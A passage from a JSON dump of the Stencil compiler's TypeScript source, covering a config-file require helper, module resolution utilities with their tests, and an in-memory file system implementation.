string): boolean => {\n  filePath = filePath.trim().toLowerCase();\n  return IGNORE.some((ignoreFile) => filePath.endsWith(ignoreFile));\n};\n\n/**\n * Ignore list for files which we don't want to write.\n */\nconst IGNORE = ['.ds_store', '.gitignore', 'desktop.ini', 'thumbs.db'];\n"
  },
  {
    "path": "src/compiler/sys/node-require.ts",
    "content": "import { catchError, loadTypeScriptDiagnostic } from '@utils';\nimport ts from 'typescript';\n\nimport type { Diagnostic } from '../../declarations';\n\nexport const nodeRequire = (id: string) => {\n  const results = {\n    module: undefined as any,\n    id,\n    diagnostics: [] as Diagnostic[],\n  };\n\n  try {\n    const fs: typeof import('fs') = require('fs');\n    const path: typeof import('path') = require('path');\n\n    results.id = path.resolve(id);\n\n    // ensure we cleared out node's internal require() cache for this file\n    delete require.cache[results.id];\n\n    // let's override node's require for a second\n    // don't worry, we'll revert this when we're done\n    require.extensions['.ts'] = (module: NodeJS.Module, fileName: string) => {\n      let sourceText = fs.readFileSync(fileName, 'utf8');\n\n      if (fileName.endsWith('.ts')) {\n        // looks like we've got a typed config file\n        // let's transpile it to .js quick\n        const tsResults = ts.transpileModule(sourceText, {\n          fileName,\n          compilerOptions: {\n            module: ts.ModuleKind.CommonJS,\n            moduleResolution: ts.ModuleResolutionKind.NodeJs,\n            esModuleInterop: true,\n            target: ts.ScriptTarget.ES2017,\n            allowJs: true,\n          },\n        });\n        sourceText = tsResults.outputText;\n\n        results.diagnostics.push(...tsResults.diagnostics.map(loadTypeScriptDiagnostic));\n      } else {\n        // quick hack to turn a modern es module\n        // into and old school commonjs module\n        sourceText = sourceText.replace(/export\\s+\\w+\\s+(\\w+)/gm, 'exports.$1');\n      }\n\n      try {\n        // we need to coerce because of the requirements for the arguments to\n        // this function. It's safe enough since it's already wrapped in a\n        // `try { } catch`.\n        (module as NodeModuleWithCompile)._compile(sourceText, fileName);\n      } catch (e: any) {\n        catchError(results.diagnostics, e);\n      }\n    };\n\n    // let's do this!\n    results.module = require(results.id);\n\n    // all set, let's go ahead and reset the require back to the default\n    require.extensions['.ts'] = undefined;\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n};\n\ninterface NodeModuleWithCompile extends NodeModule {\n  _compile(code: string, filename: string): any;\n}\n"
  },
  {
    "path": "src/compiler/sys/resolve/resolve-module-async.ts",
    "content": "import { isString, normalizeFsPath, normalizePath } from '@utils';\nimport { dirname } from 'path';\nimport resolve, { AsyncOpts } from 'resolve';\n\nimport type * as d from '../../../declarations';\nimport { InMemoryFileSystem } from '../in-memory-fs';\nimport { getPackageDirPath } from './resolve-utils';\n\nexport const resolveModuleIdAsync = (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  opts: d.ResolveModuleIdOptions,\n) => {\n  const resolverOpts: AsyncOpts = createCustomResolverAsync(sys, inMemoryFs, opts.exts);\n  resolverOpts.basedir = dirname(normalizeFsPath(opts.containingFile));\n\n  if (opts.packageFilter) {\n    resolverOpts.packageFilter = opts.packageFilter;\n  } else if (opts.packageFilter !== null) {\n    resolverOpts.packageFilter = (pkg) => {\n      if (!isString(pkg.main) || pkg.main === '') {\n        pkg.main = 'package.json';\n      }\n      return pkg;\n    };\n  }\n\n  return new Promise<d.ResolveModuleIdResults>((resolvePromise, rejectPromise) => {\n    resolve(opts.moduleId, resolverOpts, (err, resolveId, pkgData: any) => {\n      if (err) {\n        rejectPromise(err);\n      } else {\n        resolveId = normalizePath(resolveId);\n        const results: d.ResolveModuleIdResults = {\n          moduleId: opts.moduleId,\n          resolveId,\n          pkgData,\n          pkgDirPath: getPackageDirPath(resolveId, opts.moduleId),\n        };\n        resolvePromise(results);\n      }\n    });\n  });\n};\n\nexport const createCustomResolverAsync = (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  exts?: string[],\n): any => {\n  return {\n    async isFile(filePath: string, cb: (err: any, isFile: boolean) => void) {\n      const fsFilePath = normalizeFsPath(filePath);\n\n      const stat = await inMemoryFs.stat(fsFilePath);\n      if (stat.isFile) {\n        cb(null, true);\n        return;\n      }\n\n      cb(null, false);\n    },\n\n    async isDirectory(dirPath: string, cb: (err: any, isDirectory: boolean) => void) {\n      const fsDirPath = normalizeFsPath(dirPath);\n\n      const stat = await inMemoryFs.stat(fsDirPath);\n      if (stat.isDirectory) {\n        cb(null, true);\n        return;\n      }\n\n      cb(null, false);\n    },\n\n    async readFile(p: string, cb: (err: any, data?: any) => void) {\n      const fsFilePath = normalizeFsPath(p);\n\n      const data = await inMemoryFs.readFile(fsFilePath);\n      if (isString(data)) {\n        return cb(null, data);\n      }\n\n      return cb(`readFile not found: ${p}`);\n    },\n\n    async realpath(p: string, cb: (err: any, data?: any) => void) {\n      const fsFilePath = normalizeFsPath(p);\n      const results = await sys.realpath(fsFilePath);\n\n      if (results.error && results.error.code !== 'ENOENT') {\n        cb(results.error);\n      } else {\n        cb(null, results.error ? fsFilePath : results.path);\n      }\n    },\n\n    extensions: exts,\n  };\n};\n"
  },
  {
    "path": "src/compiler/sys/resolve/resolve-module-sync.ts",
    "content": "import { isString, normalizeFsPath, normalizePath } from '@utils';\nimport { dirname } from 'path';\nimport resolve, { SyncOpts } from 'resolve';\n\nimport type * as d from '../../../declarations';\nimport { InMemoryFileSystem } from '../in-memory-fs';\n\nexport const resolveRemoteModuleIdSync = (\n  config: d.Config,\n  inMemoryFs: InMemoryFileSystem,\n  opts: d.ResolveModuleIdOptions,\n) => {\n  const packageJson = resolveRemotePackageJsonSync(config, inMemoryFs, opts.moduleId);\n  if (packageJson) {\n    const resolveModuleSyncOpts: d.ResolveModuleIdOptions = {\n      ...opts,\n      exts: ['.js', '.mjs'],\n    };\n    const resolvedUrl = resolveModuleIdSync(config.sys, inMemoryFs, resolveModuleSyncOpts);\n    if (typeof resolvedUrl === 'string') {\n      return {\n        resolvedUrl,\n        packageJson,\n      };\n    }\n  }\n  return null;\n};\n\nconst resolveRemotePackageJsonSync = (config: d.Config, inMemoryFs: InMemoryFileSystem, moduleId: string) => {\n  if (inMemoryFs) {\n    const filePath = normalizePath(\n      config.sys.getLocalModulePath({ rootDir: config.rootDir, moduleId, path: 'package.json' }),\n    );\n    const pkgJson = inMemoryFs.readFileSync(filePath);\n    if (typeof pkgJson === 'string') {\n      try {\n        return JSON.parse(pkgJson) as d.PackageJsonData;\n      } catch (e) {}\n    }\n  }\n  return null;\n};\n\nexport const resolveModuleIdSync = (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  opts: d.ResolveModuleIdOptions,\n) => {\n  if (inMemoryFs) {\n    const resolverOpts = createCustomResolverSync(sys, inMemoryFs, opts.exts);\n    resolverOpts.basedir = dirname(opts.containingFile);\n    resolverOpts.packageFilter = opts.packageFilter;\n\n    const resolvedModule = resolve.sync(opts.moduleId, resolverOpts);\n    return resolvedModule;\n  }\n  return null;\n};\n\nexport const createCustomResolverSync = (\n  sys: d.CompilerSystem,\n  inMemoryFs: InMemoryFileSystem,\n  exts: string[],\n): SyncOpts => {\n  return {\n    isFile(filePath: string) {\n      const fsFilePath = normalizeFsPath(filePath);\n\n      const stat = inMemoryFs.statSync(fsFilePath);\n      return stat.isFile;\n    },\n\n    isDirectory(dirPath: string) {\n      const fsDirPath = normalizeFsPath(dirPath);\n\n      const stat = inMemoryFs.statSync(fsDirPath);\n      return stat.isDirectory;\n    },\n\n    readFileSync(p: string) {\n      const data = inMemoryFs.readFileSync(p);\n      if (isString(data)) {\n        return data;\n      }\n\n      throw new Error(`file not found: ${p}`);\n    },\n\n    realpathSync(p: string) {\n      const fsFilePath = normalizeFsPath(p);\n      try {\n        return sys.realpathSync(fsFilePath);\n      } catch (realpathErr: unknown) {\n        if (isErrnoException(realpathErr)) {\n          if (realpathErr.code !== 'ENOENT') {\n            throw realpathErr;\n          }\n        }\n      }\n      return fsFilePath;\n    },\n\n    extensions: exts,\n  } as any;\n};\n\n/**\n * Type guard to determine if an Error is an instance of `ErrnoException`. For the purposes of this type guard, we\n * must ensure that the `code` field is present. This type guard was written with the `ErrnoException` definition from\n * https://github.com/DefinitelyTyped/DefinitelyTyped/blob/d121716ed123957f6a86f8985eb013fcaddab345/types/node/globals.d.ts#L183-L188\n * in mind.\n * @param err the entity to check the type of\n * @returns true if the provided value is an instance of `ErrnoException`, `false` otherwise\n */\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n  return err instanceof Error && err.hasOwnProperty('code');\n}\n"
  },
  {
    "path": "src/compiler/sys/resolve/resolve-utils.ts",
    "content": "import { normalizePath } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nconst COMMON_DIR_MODULE_EXTS = ['.tsx', '.ts', '.mts', '.cts', '.mjs', '.js', '.cjs', '.jsx', '.json', '.md'];\n\nexport const isCommonDirModuleFile = (p: string) => COMMON_DIR_MODULE_EXTS.some((ext) => p.endsWith(ext));\n\nexport const setPackageVersion = (pkgVersions: Map<string, string>, pkgName: string, pkgVersion: string) => {\n  pkgVersions.set(pkgName, pkgVersion);\n};\n\nexport const setPackageVersionByContent = (pkgVersions: Map<string, string>, pkgContent: string) => {\n  try {\n    const pkg = JSON.parse(pkgContent) as d.PackageJsonData;\n    if (pkg.name && pkg.version) {\n      setPackageVersion(pkgVersions, pkg.name, pkg.version);\n    }\n  } catch (e) {}\n};\n\nexport const isLocalModule = (p: string) => p.startsWith('.') || p.startsWith('/');\n\nexport const isStencilCoreImport = (p: string) => p.startsWith('@stencil/core');\n\nexport const isNodeModulePath = (p: string) => normalizePath(p).split('/').includes('node_modules');\n\nexport const getModuleId = (orgImport: string) => {\n  if (orgImport.startsWith('~')) {\n    orgImport = orgImport.substring(1);\n  }\n  const splt = orgImport.split('/');\n  const m = {\n    moduleId: null as string,\n    filePath: null as string,\n    scope: null as string,\n    scopeSubModuleId: null as string,\n  };\n\n  if (orgImport.startsWith('@') && splt.length > 1) {\n    m.moduleId = splt.slice(0, 2).join('/');\n    m.filePath = splt.slice(2).join('/');\n    m.scope = splt[0];\n    m.scopeSubModuleId = splt[1];\n  } else {\n    m.moduleId = splt[0];\n    m.filePath = splt.slice(1).join('/');\n  }\n\n  return m;\n};\n\nexport const getPackageDirPath = (p: string, moduleId: string) => {\n  const parts = normalizePath(p).split('/');\n  const m = getModuleId(moduleId);\n  for (let i = parts.length - 1; i >= 1; i--) {\n    if (parts[i - 1] === 'node_modules') {\n      if (m.scope) {\n        if (parts[i] === m.scope && parts[i + 1] === m.scopeSubModuleId) {\n          return parts.slice(0, i + 2).join('/');\n        }\n      } else if (parts[i] === m.moduleId) {\n        return parts.slice(0, i + 1).join('/');\n      }\n    }\n  }\n  return null;\n};\n"
  },
  {
    "path": "src/compiler/sys/resolve/tests/resolve-module.spec.ts",
    "content": "import {\n  getModuleId,\n  getPackageDirPath,\n  isLocalModule,\n  isNodeModulePath,\n  isStencilCoreImport,\n  setPackageVersionByContent,\n} from '../resolve-utils';\n\ndescribe('resolve modules', () => {\n  const pkgVersions = new Map<string, string>();\n  beforeEach(() => {\n    pkgVersions.clear();\n  });\n\n  it('isStencilCoreImport', () => {\n    expect(isStencilCoreImport('@stencil/core')).toBe(true);\n    expect(isStencilCoreImport('@stencil/core/internal')).toBe(true);\n    expect(isStencilCoreImport('@stencil/core/internal/client')).toBe(true);\n    expect(isStencilCoreImport('@stencil/core/internal/client/index.mjs')).toBe(true);\n    expect(isStencilCoreImport('lodash')).toBe(false);\n    expect(isStencilCoreImport('@ionic/core')).toBe(false);\n  });\n\n  it('isLocalModule', () => {\n    expect(isLocalModule('./local.tsx')).toBe(true);\n    expect(isLocalModule('/local.tsx')).toBe(true);\n    expect(isLocalModule('lodash')).toBe(false);\n    expect(isLocalModule('@ionic/core')).toBe(false);\n  });\n\n  it('isNodeModulePath', () => {\n    expect(isNodeModulePath('/path/to/local/module/index.js')).toBe(false);\n    expect(isNodeModulePath('/path/to/node_modules/lodash/index.js')).toBe(true);\n    expect(isNodeModulePath('/node_modules/lodash/index.js')).toBe(true);\n    expect(isNodeModulePath('C:\\\\path\\\\to\\\\node_modules\\\\lodash\\\\index.js')).toBe(true);\n    expect(isNodeModulePath('C:\\\\path\\\\to\\\\local\\\\index.js')).toBe(false);\n  });\n\n  describe('getModuleId', () => {\n    it('getModuleId non-scoped ~ package', () => {\n      const m = getModuleId('~ionicons/dist/css/ionicons.css');\n      expect(m.moduleId).toBe('ionicons');\n      expect(m.filePath).toBe('dist/css/ionicons.css');\n      expect(m.scope).toBe(null);\n      expect(m.scopeSubModuleId).toBe(null);\n    });\n\n    it('getModuleId non-scoped package', () => {\n      const m = getModuleId('ionicons/dist/css/ionicons.css');\n      expect(m.moduleId).toBe('ionicons');\n      expect(m.filePath).toBe('dist/css/ionicons.css');\n      expect(m.scope).toBe(null);\n      expect(m.scopeSubModuleId).toBe(null);\n    });\n\n    it('getModuleId non-scoped package, no path', () => {\n      const m = getModuleId('ionicons');\n      expect(m.moduleId).toBe('ionicons');\n      expect(m.filePath).toBe('');\n      expect(m.scope).toBe(null);\n      expect(m.scopeSubModuleId).toBe(null);\n    });\n\n    it('getModuleId scoped ~ package', () => {\n      const m = getModuleId('~@ionic/core/dist/ionic/css/ionic.css');\n      expect(m.moduleId).toBe('@ionic/core');\n      expect(m.filePath).toBe('dist/ionic/css/ionic.css');\n      expect(m.scope).toBe('@ionic');\n      expect(m.scopeSubModuleId).toBe('core');\n    });\n\n    it('getModuleId scoped package', () => {\n      const m = getModuleId('@ionic/core/dist/ionic/css/ionic.css');\n      expect(m.moduleId).toBe('@ionic/core');\n      expect(m.filePath).toBe('dist/ionic/css/ionic.css');\n      expect(m.scope).toBe('@ionic');\n      expect(m.scopeSubModuleId).toBe('core');\n    });\n\n    it('getModuleId scoped package, no path', () => {\n      const m = getModuleId('@ionic/core');\n      expect(m.moduleId).toBe('@ionic/core');\n      expect(m.filePath).toBe('');\n      expect(m.scope).toBe('@ionic');\n      expect(m.scopeSubModuleId).toBe('core');\n    });\n  });\n\n  it('getPackageDirPath', () => {\n    expect(getPackageDirPath('/node_modules/@my/pkg/some/path.js', '@my/pkg')).toBe('/node_modules/@my/pkg');\n    expect(getPackageDirPath('\\\\node_modules\\\\my-pkg\\\\', 'my-pkg')).toBe('/node_modules/my-pkg');\n    expect(getPackageDirPath('/node_modules/my-pkg/', 'my-pkg')).toBe('/node_modules/my-pkg');\n    expect(getPackageDirPath('/node_modules/my-pkg/some/path.js', 'my-pkg')).toBe('/node_modules/my-pkg');\n    expect(getPackageDirPath('/node_modules/something/node_modules/my-pkg/some/path.js', 'my-pkg')).toBe(\n      '/node_modules/something/node_modules/my-pkg',\n    );\n    expect(getPackageDirPath('/node_modules/idk/some/path.js', 'my-pkg')).toBe(null);\n    expect(getPackageDirPath('/my-pkg/node_modules/some/path.js', 'my-pkg')).toBe(null);\n    expect(getPackageDirPath('/node_modules/some/my-pkg/path.js', 'my-pkg')).toBe(null);\n  });\n\n  describe('setPackageVersionByContent', () => {\n    it('set scoped package', () => {\n      const pkgContent = JSON.stringify({\n        name: '@ionic/core',\n        version: '1.2.3',\n      });\n      setPackageVersionByContent(pkgVersions, pkgContent);\n      expect(pkgVersions.get('@ionic/core')).toBe('1.2.3');\n    });\n\n    it('set package', () => {\n      const pkgContent = JSON.stringify({\n        name: 'lodash',\n        version: '1.2.3',\n      });\n      setPackageVersionByContent(pkgVersions, pkgContent);\n      expect(pkgVersions.get('lodash')).toBe('1.2.3');\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/sys/stencil-sys.ts",
    "content": "import { createNodeLogger } from '@sys-api-node';\nimport { isRootPath, join, normalizePath } from '@utils';\nimport * as os from 'os';\nimport path, { basename, dirname } from 'path';\nimport * as process from 'process';\n\nimport type {\n  CompilerFileWatcherCallback,\n  CompilerFsStats,\n  CompilerSystem,\n  CompilerSystemCreateDirectoryOptions,\n  CompilerSystemCreateDirectoryResults,\n  CompilerSystemRealpathResults,\n  CompilerSystemRemoveDirectoryOptions,\n  CompilerSystemRemoveDirectoryResults,\n  CompilerSystemRemoveFileResults,\n  CompilerSystemRenameResults,\n  CompilerSystemWriteFileResults,\n  CopyResults,\n  CopyTask,\n  Logger,\n} from '../../declarations';\nimport { version } from '../../version';\nimport { buildEvents } from '../events';\nimport { resolveModuleIdAsync } from './resolve/resolve-module-async';\n\n/**\n * Create an in-memory `CompilerSystem` object, optionally using a supplied\n * logger instance\n *\n * This particular system being an 'in-memory' `CompilerSystem` is intended for\n * use in the browser. In most cases, for instance when using Stencil through\n * the CLI, a Node.js-specific `CompilerSystem` will be used instead. See\n * {@link CompilerSystem} for more details.\n *\n * @param c an object wrapping a logger instance\n * @returns a complete CompilerSystem, ready for use!\n */\nexport const createSystem = (c?: { logger?: Logger }): CompilerSystem => {\n  const logger = c?.logger ?? createNodeLogger();\n  const items = new Map<string, FsItem>();\n  const destroys = new Set<() => Promise<void> | void>();\n\n  const addDestroy = (cb: () => void) => destroys.add(cb);\n  const removeDestroy = (cb: () => void) => destroys.delete(cb);\n  const events = buildEvents();\n  const hardwareConcurrency = 1;\n\n  const destroy = async () => {\n    const waits: Promise<void>[] = [];\n    destroys.forEach((cb) => {\n      try {\n        const rtn = cb();\n        if (rtn && typeof rtn.then === 'function') {\n          waits.push(rtn);\n        }\n      } catch (e) {\n        logger.error(`stencil sys destroy: ${e}`);\n      }\n    });\n    await Promise.all(waits);\n    destroys.clear();\n  };\n\n  const normalize = (p: string) => {\n    if (p === '/' || p === '') {\n      return '/';\n    }\n    const dir = dirname(p);\n    const base = basename(p);\n    if (dir.endsWith('/')) {\n      return normalizePath(`${dir}${base}`);\n    }\n    return normalizePath(`${dir}/${base}`);\n  };\n\n  const accessSync = (p: string) => {\n    const item = items.get(normalize(p));\n    return !!(item && (item.isDirectory || (item.isFile && typeof item.data === 'string')));\n  };\n\n  const access = async (p: string) => accessSync(p);\n\n  const copyFile = async (src: string, dest: string) => {\n    writeFileSync(dest, readFileSync(src));\n    return true;\n  };\n\n  const isTTY = (): boolean => {\n    return !!process?.stdout?.isTTY;\n  };\n\n  const homeDir = () => {\n    return os.homedir();\n  };\n\n  const createDirSync = (p: string, opts?: CompilerSystemCreateDirectoryOptions) => {\n    p = normalize(p);\n    const results: CompilerSystemCreateDirectoryResults = {\n      basename: basename(p),\n      dirname: dirname(p),\n      path: p,\n      newDirs: [],\n      error: null,\n    };\n    createDirRecursiveSync(p, opts, results);\n    return results;\n  };\n\n  const createDirRecursiveSync = (\n    p: string,\n    opts: CompilerSystemCreateDirectoryOptions,\n    results: CompilerSystemCreateDirectoryResults,\n  ) => {\n    const parentDir = dirname(p);\n\n    if (opts && opts.recursive && !isRootPath(parentDir)) {\n      createDirRecursiveSync(parentDir, opts, results);\n    }\n\n    const item = items.get(p);\n    if (!item) {\n      items.set(p, {\n        basename: basename(p),\n        dirname: parentDir,\n        isDirectory: true,\n        isFile: false,\n        watcherCallbacks: null,\n        data: undefined,\n      });\n      results.newDirs.push(p);\n      emitDirectoryWatch(p, new Set());\n    } else {\n      item.isDirectory = true;\n      item.isFile = false;\n    }\n  };\n\n  const createDir = async (p: string, opts?: CompilerSystemCreateDirectoryOptions) => createDirSync(p, opts);\n\n  const encodeToBase64 = (str: string) => btoa(unescape(encodeURIComponent(str)));\n\n  const getCurrentDirectory = () => '/';\n\n  const getCompilerExecutingPath = () => {\n    return sys.getRemoteModuleUrl({ moduleId: '@stencil/core', path: 'compiler/stencil.js' });\n  };\n\n  const isSymbolicLink = async (_p: string) => false;\n\n  const readDirSync = (p: string) => {\n    p = normalize(p);\n    const dirItems: string[] = [];\n    const dir = items.get(p);\n    if (dir && dir.isDirectory) {\n      items.forEach((item, itemPath) => {\n        if (itemPath !== '/' && (item.isDirectory || (item.isFile && typeof item.data === 'string'))) {\n          if (p.endsWith('/') && `${p}${item.basename}` === itemPath) {\n            dirItems.push(itemPath);\n          } else if (`${p}/${item.basename}` === itemPath) {\n            dirItems.push(itemPath);\n          }\n        }\n      });\n    }\n    return dirItems.sort();\n  };\n\n  const readDir = async (p: string) => readDirSync(p);\n\n  const readFileSync = (p: string) => {\n    p = normalize(p);\n    const item = items.get(p);\n    if (item && item.isFile) {\n      return item.data;\n    }\n    return undefined;\n  };\n\n  const readFile = async (p: string) => readFileSync(p);\n\n  const realpathSync = (p: string) => {\n    const results: CompilerSystemRealpathResults = {\n      path: normalize(p),\n      error: null,\n    };\n    return results;\n  };\n\n  const realpath = async (p: string) => realpathSync(p);\n\n  const rename = async (oldPath: string, newPath: string) => {\n    oldPath = normalizePath(oldPath);\n    newPath = normalizePath(newPath);\n\n    const results: CompilerSystemRenameResults = {\n      oldPath,\n      newPath,\n      renamed: [],\n      oldDirs: [],\n      oldFiles: [],\n      newDirs: [],\n      newFiles: [],\n      isFile: false,\n      isDirectory: false,\n      error: null,\n    };\n\n    const stats = statSync(oldPath);\n\n    if (!stats.error) {\n      if (stats.isFile) {\n        results.isFile = true;\n      } else if (stats.isDirectory) {\n        results.isDirectory = true;\n      }\n\n      renameNewRecursiveSync(oldPath, newPath, results);\n\n      if (!results.error) {\n        if (results.isDirectory) {\n          const rmdirResults = removeDirSync(oldPath, { recursive: true });\n          if (rmdirResults.error) {\n            results.error = rmdirResults.error;\n          } else {\n            results.oldDirs.push(...rmdirResults.removedDirs);\n            results.oldFiles.push(...rmdirResults.removedFiles);\n          }\n        } else if (results.isFile) {\n          const removeFileResults = removeFileSync(oldPath);\n          if (removeFileResults.error) {\n            results.error = removeFileResults.error;\n          } else {\n            results.oldFiles.push(oldPath);\n          }\n        }\n      }\n    } else {\n      results.error = `${oldPath} does not exist`;\n    }\n\n    return results;\n  };\n\n  const renameNewRecursiveSync = (oldPath: string, newPath: string, results: CompilerSystemRenameResults) => {\n    const itemStat = statSync(oldPath);\n    if (!itemStat.error && !results.error) {\n      if (itemStat.isFile) {\n        const newFileParentDir = dirname(newPath);\n        const createDirResults = createDirSync(newFileParentDir, { recursive: true });\n        const fileContent = items.get(oldPath).data;\n        const writeResults = writeFileSync(newPath, fileContent);\n\n        results.newDirs.push(...createDirResults.newDirs);\n        results.renamed.push({\n          oldPath,\n          newPath,\n          isDirectory: false,\n          isFile: true,\n        });\n\n        if (writeResults.error) {\n          results.error = writeResults.error;\n        } else {\n          results.newFiles.push(newPath);\n        }\n      } else if (itemStat.isDirectory) {\n        const oldDirItemChildPaths = readDirSync(oldPath);\n        const createDirResults = createDirSync(newPath, { recursive: true });\n        results.newDirs.push(...createDirResults.newDirs);\n        results.renamed.push({\n          oldPath,\n          newPath,\n          isDirectory: true,\n          isFile: false,\n        });\n\n        for (const oldDirItemChildPath of oldDirItemChildPaths) {\n          const newDirItemChildPath = oldDirItemChildPath.replace(oldPath, newPath);\n          renameNewRecursiveSync(oldDirItemChildPath, newDirItemChildPath, results);\n        }\n      }\n    }\n  };\n\n  const resolvePath = (p: string) => normalize(p);\n\n  const removeDirSync = (p: string, opts: CompilerSystemRemoveDirectoryOptions = {}) => {\n    const results: CompilerSystemRemoveDirectoryResults = {\n      basename: basename(p),\n      dirname: dirname(p),\n      path: p,\n      removedDirs: [],\n      removedFiles: [],\n      error: null,\n    };\n\n    removeDirSyncRecursive(p, opts, results);\n\n    return results;\n  };\n\n  const removeDirSyncRecursive = (\n    p: string,\n    opts: CompilerSystemRemoveDirectoryOptions,\n    results: CompilerSystemRemoveDirectoryResults,\n  ) => {\n    if (!results.error) {\n      p = normalize(p);\n\n      const dirItemPaths = readDirSync(p);\n\n      if (opts && opts.recursive) {\n        for (const dirItemPath of dirItemPaths) {\n          const item = items.get(dirItemPath);\n          if (item) {\n            if (item.isDirectory) {\n              removeDirSyncRecursive(dirItemPath, opts, results);\n            } else if (item.isFile) {\n              const removeFileResults = removeFileSync(dirItemPath);\n              if (removeFileResults.error) {\n                results.error = removeFileResults.error;\n              } else {\n                results.removedFiles.push(dirItemPath);\n              }\n            }\n          }\n        }\n      } else {\n        if (dirItemPaths.length > 0) {\n          results.error = `cannot delete directory that contains files/subdirectories`;\n          return;\n        }\n      }\n\n      items.delete(p);\n      emitDirectoryWatch(p, new Set());\n      results.removedDirs.push(p);\n    }\n  };\n\n  const removeDir = async (p: string, opts: CompilerSystemRemoveDirectoryOptions = {}) => removeDirSync(p, opts);\n\n  const statSync = (p: string): CompilerFsStats => {\n    p = normalize(p);\n    const item = items.get(p);\n    if (item && (item.isDirectory || (item.isFile && typeof item.data === 'string'))) {\n      return {\n        isDirectory: item.isDirectory,\n        isFile: item.isFile,\n        isSymbolicLink: false,\n        size: item.isFile && item.data ? item.data.length : 0,\n        error: null,\n      };\n    }\n    return {\n      isDirectory: false,\n      isFile: false,\n      isSymbolicLink: false,\n      size: 0,\n      error: `ENOENT: no such file or directory, statSync '${p}'`,\n    };\n  };\n\n  const stat = async (p: string) => statSync(p);\n\n  const removeFileSync = (p: string) => {\n    p = normalize(p);\n    const results: CompilerSystemRemoveFileResults = {\n      basename: basename(p),\n      dirname: dirname(p),\n      path: p,\n      error: null,\n    };\n    const item = items.get(p);\n    if (item) {\n      if (item.watcherCallbacks) {\n        for (const watcherCallback of item.watcherCallbacks) {\n          watcherCallback(p, 'fileDelete');\n        }\n      }\n      items.delete(p);\n      emitDirectoryWatch(p, new Set());\n    }\n    return results;\n  };\n\n  const removeFile = async (p: string) => removeFileSync(p);\n\n  const watchDirectory = (p: string, dirWatcherCallback: CompilerFileWatcherCallback) => {\n    p = normalize(p);\n    const item = items.get(p);\n\n    const close = () => {\n      const closeItem = items.get(p);\n      if (closeItem && closeItem.watcherCallbacks) {\n        const index = closeItem.watcherCallbacks.indexOf(dirWatcherCallback);\n        if (index > -1) {\n          closeItem.watcherCallbacks.splice(index, 1);\n        }\n      }\n    };\n\n    addDestroy(close);\n\n    if (item) {\n      item.isDirectory = true;\n      item.isFile = false;\n      item.watcherCallbacks = item.watcherCallbacks || [];\n      item.watcherCallbacks.push(dirWatcherCallback);\n    } else {\n      items.set(p, {\n        basename: basename(p),\n        dirname: dirname(p),\n        isDirectory: true,\n        isFile: false,\n        watcherCallbacks: [dirWatcherCallback],\n        data: undefined,\n      });\n    }\n\n    return {\n      close() {\n        removeDestroy(close);\n        close();\n      },\n    };\n  };\n\n  const watchFile = (p: string, fileWatcherCallback: CompilerFileWatcherCallback) => {\n    p = normalize(p);\n    const item = items.get(p);\n\n    const close = () => {\n      const closeItem = items.get(p);\n      if (closeItem && closeItem.watcherCallbacks) {\n        const index = closeItem.watcherCallbacks.indexOf(fileWatcherCallback);\n        if (index > -1) {\n          closeItem.watcherCallbacks.splice(index, 1);\n        }\n      }\n    };\n\n    addDestroy(close);\n\n    if (item) {\n      item.isDirectory = false;\n      item.isFile = true;\n      item.watcherCallbacks = item.watcherCallbacks || [];\n      item.watcherCallbacks.push(fileWatcherCallback);\n    } else {\n      items.set(p, {\n        basename: basename(p),\n        dirname: dirname(p),\n        isDirectory: false,\n        isFile: true,\n        watcherCallbacks: [fileWatcherCallback],\n        data: undefined,\n      });\n    }\n\n    return {\n      close() {\n        removeDestroy(close);\n        close();\n      },\n    };\n  };\n\n  const emitDirectoryWatch = (p: string, emitted: Set<string>) => {\n    const parentDir = normalize(dirname(p));\n    const dirItem = items.get(parentDir);\n\n    if (dirItem && dirItem.isDirectory && dirItem.watcherCallbacks) {\n      for (const watcherCallback of dirItem.watcherCallbacks) {\n        watcherCallback(p, null);\n      }\n    }\n    if (!emitted.has(parentDir)) {\n      emitted.add(parentDir);\n      emitDirectoryWatch(parentDir, emitted);\n    }\n  };\n\n  const writeFileSync = (p: string, data: string) => {\n    p = normalize(p);\n    const results: CompilerSystemWriteFileResults = {\n      path: p,\n      error: null,\n    };\n    const item = items.get(p);\n    if (item) {\n      const hasChanged = item.data !== data;\n      item.data = data;\n      if (hasChanged && item.watcherCallbacks) {\n        for (const watcherCallback of item.watcherCallbacks) {\n          watcherCallback(p, 'fileUpdate');\n        }\n      }\n    } else {\n      items.set(p, {\n        basename: basename(p),\n        dirname: dirname(p),\n        isDirectory: false,\n        isFile: true,\n        watcherCallbacks: null,\n        data,\n      });\n\n      emitDirectoryWatch(p, new Set());\n    }\n    return results;\n  };\n\n  /**\n   * `self` is the global namespace object used within a web worker.\n   * `window` is the browser's global namespace object (I reorganized this to check the reference on that second)\n   * `global` is Node's global namespace object. https://nodejs.org/api/globals.html#globals_global\n   *\n   * loading in this order should allow workers, which are most common, then browser,\n   * then Node to grab the reference to fetch correctly.\n   */\n  const fetch =\n    typeof self !== 'undefined'\n      ? self?.fetch\n      : typeof window !== 'undefined'\n        ? window?.fetch\n        : typeof global !== 'undefined'\n          ? global?.fetch\n          : undefined;\n\n  const writeFile = async (p: string, data: string) => writeFileSync(p, data);\n\n  const tmpDirSync = () => '/.tmp';\n\n  const tick = Promise.resolve();\n\n  const nextTick = (cb: () => void) => tick.then(cb);\n\n  const generateContentHash = async (content: string, hashLength: number) => {\n    const arrayBuffer = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(content));\n    const hashArray = Array.from(new Uint8Array(arrayBuffer)); // convert buffer to byte array\n    let hashHex = hashArray.map((b) => b.toString(16).padStart(2, '0')).join(''); // convert bytes to hex string\n    if (typeof hashLength === 'number') {\n      hashHex = hashHex.slice(0, hashLength);\n    }\n    return hashHex;\n  };\n\n  const copy = async (copyTasks: Required<CopyTask>[], srcDir: string) => {\n    const results: CopyResults = {\n      diagnostics: [],\n      dirPaths: [],\n      filePaths: [],\n    };\n    logger.info('todo, copy task', copyTasks.length, srcDir);\n    return results;\n  };\n\n  const getEnvironmentVar = (key: string) => {\n    return process?.env[key];\n  };\n\n  const getLocalModulePath = (opts: { rootDir: string; moduleId: string; path: string }) =>\n    join(opts.rootDir, 